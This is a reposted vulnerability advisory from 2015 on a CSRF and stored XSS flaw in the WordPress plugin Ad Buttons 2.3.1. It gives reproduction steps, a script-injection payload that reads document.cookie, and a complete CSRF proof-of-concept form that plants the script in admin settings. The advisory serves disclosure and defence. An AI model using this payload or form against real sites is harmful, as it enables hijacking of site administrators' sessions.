Aerosol Posted May 10, 2015 Report Posted May 10, 2015 ================================================================CSRF/Stored XSS Vulnerability in Ad Buttons Plugin ================================================================. contents:: Table Of ContentOverview========* Title :CSRF and Stored XSS Vulnerability in Ad Buttons Wordpress Plugin * Author: Kaustubh G. Padwad* Plugin Homepage: https://wordpress.org/plugins/ad-buttons/* Severity: HIGH* Version Affected: Version 2.3.1 and mostly prior to it* Version Tested : Version 2.3.1* version patched:Description ===========Vulnerable Parameter --------------------* Your Ad Here' url About Vulnerability-------------------This plugin is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can insert arbitrary script into admin page. Once exploited, admin's browser can be made to do almost anything the admin user could typically do by hijacking admin's cookies etc.Vulnerability Class=================== Cross Site Request Forgery (https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29)Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)Steps to Reproduce: (POC)=========================After installing the plugin1. Goto Dashboard --> Ad button --> Setting2. Insert this payload ## ">><script>+-+-1-+-+alert(document.cookie)</script> ## Into above mention Vulnerable parameter Save settings and see XSS in action3. Visit Ad Button settings page of this plugin anytime later and you can see the script executing as it is stored.Plugin does not uses any nonces and hence, the same settings can be changed using CSRF attack and the PoC code for the same is belowCSRF POC Code=============<html> <body> <form action="http://127.0.0.1/wp/wp-admin/admin.php?page=ad-buttons-settings" method="POST"> <input type="hidden" name="ab_dspcnt" value="1" /> <input type="hidden" name="ab_title" value="" /> <input type="hidden" name="ab_target" value="bnk" /> <input type="hidden" name="ab_powered" value="1" /> <input type="hidden" name="ab_count" value="1" /> <input type="hidden" name="ab_yaht" value="pag" /> <input type="hidden" name="ab_yourad" value="44" /> <input type="hidden" name="ab_yahurl" value="">><script>+-+-1-+-+alert(6)</script>" /> <input type="hidden" name="ab_adsense_fixed" value="1" /> <input type="hidden" name="ab_adsense_pos" value="1" /> <input type="hidden" name="ab_adsense_pubid" value="pub-" /> <input type="hidden" name="ab_adsense_channel" value="" /> <input type="hidden" name="ab_adsense_corners" value="rc:0" /> <input type="hidden" name="ab_adsense_col_border" value="#" /> <input type="hidden" name="ab_adsense_col_title" value="#" /> <input type="hidden" name="ab_adsense_col_bg" value="#" /> <input type="hidden" name="ab_adsense_col_txt" value="#" /> <input type="hidden" name="ab_adsense_col_url" value="#" /> <input type="hidden" name="ab_width" value="<img" /> <input type="hidden" name="ab_padding" value="<img" /> <input type="hidden" name="Submit" value="Save Changes" /> <input type="submit" value="Submit request" /> </form> </body></html>Mitigation ==========Plugin ClosedChange Log==========Plugin ClosedDisclosure ==========18-April-2015 Reported to DeveloperPlugin Closed8-May-2015 Public credits=======* Kaustubh Padwad * Information Security Researcher* kingkaustubh (at) me (dot) com * https://twitter.com/s3curityb3ast* http://breakthesec.com* https://www.linkedin.com/in/kaustubhpadwadSource Quote
